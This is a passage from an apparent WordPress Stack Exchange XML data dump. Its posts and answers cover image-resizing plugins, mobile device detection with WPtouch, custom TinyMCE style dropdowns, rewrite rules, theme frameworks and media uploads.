rel=&quot;nofollow&quot;&gt;AutoThumb&lt;/a&gt;, rewrites URLs to a handler that uses &lt;a href=&quot;http://phpthumb.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;phpThumb&lt;/a&gt; (2.9.2)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/image-symlinks/&quot; rel=&quot;nofollow&quot;&gt;Image Symlinks&lt;/a&gt;, via a special &lt;code&gt;[img]&lt;/code&gt; shortcode (2.9.2)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/com-resize/&quot; rel=&quot;nofollow&quot;&gt;com_resize&lt;/a&gt;, rewrites URLs to a handler that uses phpThumb, also external images (2.6)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/image-scaler/&quot; rel=&quot;nofollow&quot;&gt;ImageScaler&lt;/a&gt;, creates new sizes if needed and changes URLs in the images (2.3)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/imagescaler-modded/&quot; rel=&quot;nofollow&quot;&gt;ImageScaler Modded&lt;/a&gt;, a &lt;a href=&quot;http://plugins.trac.wordpress.org/changeset?old_path=%2Fimage-scaler%2Ftrunk%2Fimagescaler.php&amp;amp;old=HEAD&amp;amp;new_path=%2Fimagescaler-modded%2Ftrunk%2Fimagescaler.php&amp;amp;new=HEAD&quot; rel=&quot;nofollow&quot;&gt;slightly modified&lt;/a&gt; version of ImageScaler (2.3.1)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Personal thoughts:&lt;/em&gt; The first four rewrite the URL to a dynamic page (something like &lt;code&gt;/wp-content/plugins/my-plugin/image.php?src=[original src]&amp;amp;w=100&amp;amp;h=50&lt;/code&gt;), with varying forms of caching. I prefer a real image that is created as-needed, similar to the approach ImageScaler takes. However, I would split this up (and include hakre's suggestion in the comments) and first rewrite all URLs from &lt;code&gt;/wp-content/uploads/2010/11/image.jpg&lt;/code&gt; to &lt;code&gt;/wp-content/uploads/2010/11/image-100x50.jpg&lt;/code&gt;, and then let a script create the missing images. The first request for this image creates the image, all subsequent requests use this created image. This also allows me to split the functionality across different plugins. I will post this solution in a separate answer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These plugins limit images to a certain maximum size (How is this different from specifying &lt;code&gt;$content_width&lt;/code&gt;?):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/jd-redesign-images/&quot; rel=&quot;nofollow&quot;&gt;JP-redesign-images&lt;/a&gt;, checks both hotlinked and oversized images (only if they are too large, not if they are just resized) (3.0.1)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/hungred-image-fit/&quot; rel=&quot;nofollow&quot;&gt;Hungred Image Fit&lt;/a&gt;, checks too large images (3.0.0)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The following plugin is interesting for other reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/timthumb-meets-tinymce/&quot; rel=&quot;nofollow&quot;&gt;TimThumb meets TinyMCE&lt;/a&gt;, includes a manual resize button in the TinyMCE editor (2.8.4)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is a Community Wiki post, so it can be updated if you find new plugins.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-10T13:47:48.960" CommunityOwnedDate="2010-11-10T13:47:48.960" />
  <row Id="3878" PostTypeId="2" ParentId="3875" CreationDate="2010-11-10T14:03:55.743" Score="2" ViewCount="" Body="&lt;p&gt;You might want to look at how &lt;a href=&quot;http://wordpress.org/extend/plugins/wptouch/&quot; rel=&quot;nofollow&quot;&gt;the very popular WPtouch plugin&lt;/a&gt; does this. It gives a different theme for &lt;em&gt;&quot;iPhone, iPod touch, Android, Opera Mini, Palm Pre, Samsung touch and BlackBerry Storm/Torch mobile devices&quot;&lt;/em&gt;. I see &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/wptouch/tags/1.9.19.4/wptouch.php#L260&quot; rel=&quot;nofollow&quot;&gt;a list of user agents in their source code&lt;/a&gt;, that's probably the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another plugin, &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-wurfl/&quot; rel=&quot;nofollow&quot;&gt;WP-Wurfled&lt;/a&gt;, uses the extensive &lt;a href=&quot;http://wurfl.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;Wireless Universal Resource File&lt;/a&gt; database. This constantly-updated database of mobile devices also contains lots of &lt;a href=&quot;http://wurfl.sourceforge.net/help_doc.php&quot; rel=&quot;nofollow&quot;&gt;capability info&lt;/a&gt;, so you know server-side the screen resolution of the device, whether it supports Flash, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/template-loader.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;template_redirect&lt;/code&gt; action hook&lt;/a&gt; is often used to load custom themes, as it is almost the last moment before a real template file is included (&lt;code&gt;template_include&lt;/code&gt; is the last hook, but that's a filter).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-10T14:03:55.743" CommentCount="1" />
  <row Id="3879" PostTypeId="2" ParentId="3015" CreationDate="2010-11-10T14:20:04.717" Score="1" ViewCount="" Body="&lt;p&gt;This happens because the permastructure rewrite rules (which includes those created by registering post_types and taxonomies) are run through an array_merge().  The array_merge will replace any rewrite_rules with the same regex in the current location of the array, but add any that don't conflict to the end of the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best option may be to set the 'rewrite' argument to false for one of the two registrations and adding separate code to add any missing needed rewrite rules to the rewrite_rules_top.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-11-10T14:20:04.717" CommentCount="2" />
  <row Id="3880" PostTypeId="2" ParentId="3876" CreationDate="2010-11-10T14:22:54.173" Score="1" ViewCount="" Body="&lt;p&gt;You can actually achieve anything with wordpress. But by design, wordpress is not a CMS with a built-in feature that it offers multiple editable areas of which you can classify and manage the content for while being able to configure those in layouts that are understand by the theme. Not even the default one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As wordpress is being marketed is a CMS these days, this might sound contradictory. Saying so, CMS just means here that you can extend wordpress with your own plugins to the extend that you can actually achieve a more structured approach in managing different type of content for different layouts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a file-system is a CMS as well. The term is just quite broad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More differentiated &lt;em&gt;Web Content Management&lt;/em&gt; is a growing part of use of Wordpress over the last years and features that support such are more and more integrated with each release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom Post Types for example is a feature that get's introduced since about 2.8 or so, a little bit more for every release since then. Or the menu for example, since 3.0 there is a build in menu that might be useful if you have a site with it's own content structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you are only limited by your imagination to build stuff, as wordpress can be fully extended and even re-written.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are an unnumbered amount of tutorials how to achieve certain things in content management and editing as well for themes and layouts for wordpress, so probably a search on the web might reveal the best information for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I can only give quite a broad answer that stuff is possible but with a bit more information what you actually want to achieve in specific, this probably can be answered even more specific like suggesting a certain tutorial, plugin or theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It just always depends on what you want to achieve.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Custom_Post_Types&quot; rel=&quot;nofollow&quot;&gt;Wordpress Custom Post Types&lt;/a&gt; (Wordpress Codex)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/WordPress_Widgets&quot; rel=&quot;nofollow&quot;&gt;Wordpress Widgets&lt;/a&gt; (Wordpress Codex)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-10T14:22:54.173" CommentCount="2" />
  <row Id="3881" PostTypeId="2" ParentId="3872" CreationDate="2010-11-10T14:33:06.473" Score="0" ViewCount="" Body="&lt;p&gt;I think Scott first looks for the filenames and then needs to compare them against the database.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-10T14:33:06.473" CommentCount="2" />
  <row Id="3882" PostTypeId="1" AcceptedAnswerId="3884" CreationDate="2010-11-10T14:42:59.117" Score="5" ViewCount="1617" Body="&lt;p&gt;In the text editor, where you can set headings and other settings, is it possible to add your own styles for clients to use? and even remove the unnecessary ones?&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-05-14T21:59:32.900" Title="can I add a custom format to the format option in the text panel?" Tags="&lt;formatting&gt;&lt;text&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="5" />
  <row Id="3883" PostTypeId="2" ParentId="1463" CreationDate="2010-11-10T14:43:05.350" Score="0" ViewCount="" Body="&lt;p&gt;Wordpress offers three default sizes (small, medium, large) that can be configured. If you use these, Wordpress creates resized copies. It is probably good style to use those and set the number so they fit the current style. This results in images not having different sizes all over the page and allow global adjustments when the theme changes.&lt;/p&gt;&#xA;" OwnerUserId="1524" LastActivityDate="2010-11-10T14:43:05.350" CommentCount="3" />
  <row Id="3884" PostTypeId="2" ParentId="3882" CreationDate="2010-11-10T14:59:18.763" Score="8" ViewCount="" Body="&lt;p&gt;The &quot;classic&quot; TinyMCE editor has two dropdowns: &lt;code&gt;formatselect&lt;/code&gt; for &lt;em&gt;paragraph styles&lt;/em&gt; and &lt;code&gt;styleselect&lt;/code&gt; for &lt;em&gt;character styles&lt;/em&gt; - which can also contain paragraph styles, to make it more confusing. The configuration in WordPress by default only shows the &lt;em&gt;format&lt;/em&gt; dropdown. If you apply a custom stylesheet to the editor, TinyMCE can use it to pick up the classnames and add them to the &lt;em&gt;style&lt;/em&gt; dropdown - but this did not work every time for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since 3.0 you can call &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_editor_style&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_editor_style()&lt;/code&gt;&lt;/a&gt; in your &lt;code&gt;functions.php&lt;/code&gt; to add a stylesheet to the editor. By default it's &lt;code&gt;editor-style.css&lt;/code&gt; in your theme directory. Before 3.0 you have to hook into the &lt;code&gt;mce_css&lt;/code&gt; filter to add the URL to your editor stylesheet. This will end up in &lt;a href=&quot;http://wiki.moxiecode.com/index.php/TinyMCE%3aConfiguration/content_css&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;content_css&lt;/code&gt; TinyMCE configuration value&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add the &lt;em&gt;style&lt;/em&gt; dropdown, the &lt;code&gt;styleselect&lt;/code&gt; option must appear in one of the button bar configuration arrays (&lt;a href=&quot;http://wiki.moxiecode.com/index.php/TinyMCE%3aConfiguration/theme_advanced_buttons_1_n&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;theme_advanced_buttons[1-4]&lt;/code&gt;&lt;/a&gt; in TinyMCE, filtered by &lt;code&gt;mce_buttons_[1-4]&lt;/code&gt; in WordPress). The list of block formats is controlled by &lt;a href=&quot;http://wiki.moxiecode.com/index.php/TinyMCE%3aConfiguration/theme_advanced_blockformats&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;theme_advanced_blockformats&lt;/code&gt; option of TinyMCE&lt;/a&gt;, which you can add to the control array in the &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/tiny_mce_before_init&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;tiny_mce_before_init&lt;/code&gt;&lt;/a&gt; filter. If you want to customize the names of the &lt;em&gt;style&lt;/em&gt; dropdown (not just your CSS class names), look at &lt;a href=&quot;http://wiki.moxiecode.com/index.php/TinyMCE%3aConfiguration/theme_advanced_styles&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;theme_advanced_styles&lt;/code&gt; option&lt;/a&gt;. You can also use the more advanced &lt;a href=&quot;http://wiki.moxiecode.com/index.php/TinyMCE%3aConfiguration/style_formats&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;style_formats&lt;/code&gt; option&lt;/a&gt; which gives you more flexibility to define the styles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant PHP code with all the hooks and default configuration is in &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/includes/post.php#L1446&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp-admin/includes/post.php&lt;/code&gt;, in function &lt;code&gt;wp_tiny_mce()&lt;/code&gt;&lt;/a&gt;. All together, your setup could look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'after_setup_theme', 'wpse3882_after_setup_theme' );&#xA;function wpse3882_after_setup_theme()&#xA;{&#xA;    add_editor_style();&#xA;}&#xA;&#xA;add_filter('mce_buttons_2', 'wpse3882_mce_buttons_2');&#xA;function wpse3882_mce_buttons_2($buttons)&#xA;{&#xA;    array_unshift($buttons, 'styleselect');&#xA;    return $buttons;&#xA;}&#xA;&#xA;add_filter('tiny_mce_before_init', 'wpse3882_tiny_mce_before_init');&#xA;function wpse3882_tiny_mce_before_init($settings)&#xA;{&#xA;    $settings['theme_advanced_blockformats'] = 'p,h1,h2,h3,h4';&#xA;&#xA;    // From http://tinymce.moxiecode.com/examples/example_24.php&#xA;    $style_formats = array(&#xA;        array('title' =&amp;gt; 'Bold text', 'inline' =&amp;gt; 'b'),&#xA;        array('title' =&amp;gt; 'Red text', 'inline' =&amp;gt; 'span', 'styles' =&amp;gt; array('color' =&amp;gt; '#ff0000')),&#xA;        array('title' =&amp;gt; 'Red header', 'block' =&amp;gt; 'h1', 'styles' =&amp;gt; array('color' =&amp;gt; '#ff0000')),&#xA;        array('title' =&amp;gt; 'Example 1', 'inline' =&amp;gt; 'span', 'classes' =&amp;gt; 'example1'),&#xA;        array('title' =&amp;gt; 'Example 2', 'inline' =&amp;gt; 'span', 'classes' =&amp;gt; 'example2'),&#xA;        array('title' =&amp;gt; 'Table styles'),&#xA;        array('title' =&amp;gt; 'Table row 1', 'selector' =&amp;gt; 'tr', 'classes' =&amp;gt; 'tablerow1'),&#xA;    );&#xA;    // Before 3.1 you needed a special trick to send this array to the configuration.&#xA;    // See this post history for previous versions.&#xA;    $settings['style_formats'] = json_encode( $style_formats );&#xA;&#xA;    return $settings;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-03T06:11:06.277" LastActivityDate="2011-05-03T06:11:06.277" CommentCount="11" />
  <row Id="3885" PostTypeId="1" AcceptedAnswerId="3922" CreationDate="2010-11-10T15:02:22.827" Score="1" ViewCount="364" Body="&lt;p&gt;I have been having an issue with the non-flash version of the NextGen Slideshow on my website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The slideshow seems to initially load the first slide about 5px below the desired position. The slide then moves up about a second or 2 later into the correct position. I have tried putting the slideshow in other widget areas and all result in the same positioning error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page in question in here: &lt;a href=&quot;http://www.ukjiayuan.com&quot; rel=&quot;nofollow&quot;&gt;www.ukjiayuan.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far have been unable to get any support, but would really appreciate it if anyone can reccomend a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2010-11-11T03:16:31.957" Title="NextGen Gallery Slideshow Positioning Issue" Tags="&lt;gallery&gt;&lt;plugin-nextgen-gallery&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="3886" PostTypeId="2" ParentId="3875" CreationDate="2010-11-10T15:12:41.037" Score="1" ViewCount="" Body="&lt;p&gt;This is a really great script if you want to customize it, easy to integrate into wordpress.&#xA;&lt;a href=&quot;http://detectmobilebrowsers.mobi/&quot; rel=&quot;nofollow&quot;&gt;http://detectmobilebrowsers.mobi/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to note is that most iphone, andriod , or  mobile phones users with native browser support do not want to be automatically re-directed! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is bad practice, give them an option via a link to a mobile version AND in the mobile version give them an option to get back to the original site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I repeat do not automatically re-direct your users unless your building something very specific for mobile, or you have traffic from older phones with no native browser support ( unlikely).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Wanted to add, one easy way to tell how important this is is through your server logs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2010-11-10T21:32:00.917" LastActivityDate="2010-11-10T21:32:00.917" CommentCount="1" />
  <row Id="3887" PostTypeId="2" ParentId="3875" CreationDate="2010-11-10T15:40:11.917" Score="5" ViewCount="" Body="&lt;p&gt;Like most others, I highly recommend using WPTouch.  However, it's built more to support blogs than other website formats, so I know it's not the panacea of mobile solutions (I run my portfolio on WordPress as well as my blog, and my portfolio looks like &lt;code&gt;****&lt;/code&gt; in WPTouch).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I did take a look at the code to find the relevant portions that you'd need to use to replicate the mobile browser detection.  Firstly, as mentioned by Jan Fabry, is a list of mobile browser user agents.  WPTouch includes a default list, but also allows you to add custom user agents with a setting or with a filter called &lt;code&gt;wptouch_user_agents&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function bnc_wptouch_get_user_agents() {&#xA;    $useragents = array(           &#xA;        &quot;iPhone&quot;,                                // Apple iPhone&#xA;        &quot;iPod&quot;,                                  // Apple iPod touch&#xA;        &quot;Android&quot;,                               // 1.5+ Android&#xA;        &quot;dream&quot;,                                 // Pre 1.5 Android&#xA;        &quot;CUPCAKE&quot;,                               // 1.5+ Android&#xA;        &quot;blackberry9500&quot;,                        // Storm&#xA;        &quot;blackberry9530&quot;,                        // Storm&#xA;        &quot;blackberry9520&quot;,                        // Storm v2&#xA;        &quot;blackberry9550&quot;,                        // Storm v2&#xA;        &quot;blackberry9800&quot;,                        // Torch&#xA;        &quot;webOS&quot;,                                 // Palm Pre Experimental&#xA;        &quot;incognito&quot;,                             // Other iPhone browser&#xA;        &quot;webmate&quot;,                               // Other iPhone browser&#xA;        &quot;s8000&quot;,                                 // Samsung Dolphin browser&#xA;        &quot;bada&quot;                                   // Samsung Dolphin browser&#xA;    );&#xA;&#xA;    $settings = bnc_wptouch_get_settings();&#xA;    if ( isset( $settings['custom-user-agents'] ) ) {&#xA;        foreach( $settings['custom-user-agents'] as $agent ) {&#xA;            if ( !strlen( $agent ) ) continue;&#xA;&#xA;            $useragents[] = $agent; &#xA;        }       &#xA;    }&#xA;&#xA;    asort( $useragents );&#xA;&#xA;    // WPtouch User Agent Filter&#xA;    $useragents = apply_filters( 'wptouch_user_agents', $useragents );&#xA;&#xA;    return $useragents;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The meat of the plugin, though, is a class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class WPtouchPlugin {&#xA;    var $applemobile;&#xA;    var $desired_view;&#xA;    var $output_started;&#xA;    var $prowl_output;&#xA;    var $prowl_success;&#xA;&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The plugin's constructor (&lt;code&gt;function WPtouchPlugin()&lt;/code&gt;) first adds an action to the &lt;code&gt;plugins_loaded&lt;/code&gt; hook to detect the mobile browser's user agent and set &lt;code&gt;$applemobile&lt;/code&gt; to true.  Here's the specific function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function detectAppleMobile($query = '') {&#xA;    $container = $_SERVER['HTTP_USER_AGENT'];&#xA;&#xA;    $this-&amp;gt;applemobile = false;&#xA;    $useragents = bnc_wptouch_get_user_agents();&#xA;    $devfile =  compat_get_plugin_dir( 'wptouch' ) . '/include/developer.mode';&#xA;    foreach ( $useragents as $useragent ) {&#xA;        if ( preg_match( &quot;#$useragent#i&quot;, $container ) || file_exists( $devfile ) ) {&#xA;            $this-&amp;gt;applemobile = true;&#xA;        }       &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the plugin knows you're using a mobile browser (according to the browser's user agent).  The next meaty part of the plugin is a set of filters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( strpos( $_SERVER['REQUEST_URI'], '/wp-admin' ) === false ) {&#xA;    add_filter( 'stylesheet', array(&amp;amp;$this, 'get_stylesheet') );&#xA;    add_filter( 'theme_root', array(&amp;amp;$this, 'theme_root') );&#xA;    add_filter( 'theme_root_uri', array(&amp;amp;$this, 'theme_root_uri') );&#xA;    add_filter( 'template', array(&amp;amp;$this, 'get_template') );       &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each of these filters calls a method that checks whether or not &lt;code&gt;$applemoble&lt;/code&gt; is set to true.  If it is, then WordPress will use your mobile stylesheet, your mobile theme, and a mobile post/page template instead of the default ones for your theme.  Basically, you're overriding WordPress' default behavior based on whether or not the browser being used has a user agent that matches your list of &quot;mobile browsers.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WPTouch also includes the ability to turn off the mobile theme - when you visit a WPTouch site on an iPhone, there's a button at the bottom that allows you to view the site normally.  You might want to consider this as you build your own solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Disclaimer:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;All of the above code was copied out of the source for &lt;a href=&quot;http://wordpress.org/extend/plugins/wptouch/&quot; rel=&quot;nofollow&quot;&gt;WPTouch version 1.9.19.4&lt;/a&gt; and is protected under the GPL.  If you re-use the code, your system must also comply with the terms of the GPL.&lt;/em&gt;  &lt;strong&gt;&lt;em&gt;I did not write this code.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-10T15:40:11.917" CommentCount="2" />
  <row Id="3888" PostTypeId="2" ParentId="3725" CreationDate="2010-11-10T15:47:58.690" Score="9" ViewCount="" Body="&lt;h1&gt;&lt;a href=&quot;http://www.studiopress.com/themes/genesis&quot; rel=&quot;nofollow&quot;&gt;Genesis&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Developed by &lt;a href=&quot;http://www.studiopress.com/&quot; rel=&quot;nofollow&quot;&gt;StudioPress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Purpose&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Barebones parent theme providing mulitple sidebars; custom, configurable widgets; and a configurable multi-column display&lt;/li&gt;&#xA;&lt;li&gt;Parent theme works as a highly extensible framework - the different variations in design that exist for Genesis &lt;a href=&quot;http://www.studiopress.com/showcase&quot; rel=&quot;nofollow&quot;&gt;seem endless&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Strong Features&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Automatic updates&lt;/li&gt;&#xA;&lt;li&gt;A new settings import/export feature is promised with the next version&lt;/li&gt;&#xA;&lt;li&gt;Massive support community of professional designers and developers&lt;/li&gt;&#xA;&lt;li&gt;Instant credibility if you're re-distributing child themes elsewhere in the WordPress ecosystem&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Downsides&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The theme's expansive set of options are lumped together on one page.  This makes it &lt;em&gt;very&lt;/em&gt; difficult to find certain options and tweak your settings.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Licensing and Pricing&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;GPL (Theme license statement does not specify a version. StudioPress FAQ links to v3).&lt;/li&gt;&#xA;&lt;li&gt;framework itself costs $59.95&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.studiopress.com/themes&quot; rel=&quot;nofollow&quot;&gt;child themes&lt;/a&gt; run $20-$40 each on top of the framework cost&lt;/li&gt;&#xA;&lt;li&gt;framework and all child themes (including future) in bulk $250&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-01-10T15:05:12.603" LastActivityDate="2011-01-10T15:05:12.603" CommunityOwnedDate="2010-11-10T15:47:58.690" CommentCount="3" />
  <row Id="3889" PostTypeId="2" ParentId="3854" CreationDate="2010-11-10T15:58:03.123" Score="7" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If I upload the file to Wordpress' upload directory through FTP, I don't see the file show up in my media (in WP-admin)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Try to avoid directly uploading via FTP.  WordPress doesn't scan your uploads folder for new images.  Instead, use the built-in media uploader within WordPress to upload images.  WordPress will automatically place them in the correct folder, create downsized versions you can use in a quick gallery or client sales page, and store the image's meta information in the WordPress database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Media Gallery pulls its information from the WordPress database, so to see your uploaded images here, &lt;em&gt;this is the only way to do it!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I can get a link from my ftp client (cyberDuck) but it doesn't actually link me to a working link&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your client is giving you an FTP link.  If you use an FTP link in a web browser like Internet Explorer (i.e. ) your browser will act like an FTP client and try to download the image rather than displaying in in the browser.  What you need is an actual HTTP link, which you can get from WordPress if you uploaded through the Media Gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you uploaded directly via FTP, your link would still be something like &lt;a href=&quot;http://www.mydomain.com/wp-content/uploads/2010/11/something-something.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.mydomain.com/wp-content/uploads/2010/11/something-something.jpg&lt;/a&gt; if you uploaded to the &lt;code&gt;/wp-content/uploads/2010/11/&lt;/code&gt; directory.  If you put it somewhere else, change the link accordingly.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;To Review&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;correct&lt;/em&gt; way to add images to WordPress and get the links is through the Media Gallery:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Log in to WordPress&lt;/li&gt;&#xA;&lt;li&gt;Go to Media &amp;raquo; Add New&lt;/li&gt;&#xA;&lt;li&gt;Select your image and upload it to WordPress&lt;/li&gt;&#xA;&lt;li&gt;Set meta data as appropriate (Title, Caption, Alt Text, Description)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If necessary, you can Edit the image as well (rotate, crop, scale)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Highlight the File URL and copy-paste it somewhere where you'll remember it.  &lt;em&gt;This is the URL to the full-size image that you can link to from other places.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-10T15:58:03.123" CommentCount="2" />
  <row Id="3890" PostTypeId="2" ParentId="3875" CreationDate="2010-11-10T16:02:00.603" Score="3" ViewCount="" Body="&lt;p&gt;At the risk of not answering the question, I'd advise to not do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using iOS devices for months, and one of the first things I did back when I bought my iPad was to try to come up with CSS layout that changed its behavior based on the device used (and, originally, the screen orientation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time of writing, it's running on my dev site (http://dev.semiologic.com/). If you test it on an iOS device, you'll note that the layout switches from a column with sidebars on the iPad, to one with a single column based on the iPhone. (The sidebars get laid out in two columns, and the bottom boxes are laid out in two columns underneath.) You can reproduce the effect using Safari, by reducing the browser's width.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, as fun as it was to program, it eventually occurred to me that, at least on iOS devices, the mobile-optimized layout made things worse, not better. Safari mobile's built-in zoom is so that, as long as your main column is 480px wide, your site is already optimized for mobile use. Add a 240px wide sidebar for a 720px wide layout, and your site fits and looks great in all:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1024x768 (iPad landscape)&lt;/li&gt;&#xA;&lt;li&gt;768x1024 (iPad portrait)&lt;/li&gt;&#xA;&lt;li&gt;800x600 (users with poor eyesight)&lt;/li&gt;&#xA;&lt;li&gt;480x320 (iPhone landscape)&lt;/li&gt;&#xA;&lt;li&gt;320x480 (iPhone portrait, with the auto-zoom kicking in)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;500px + 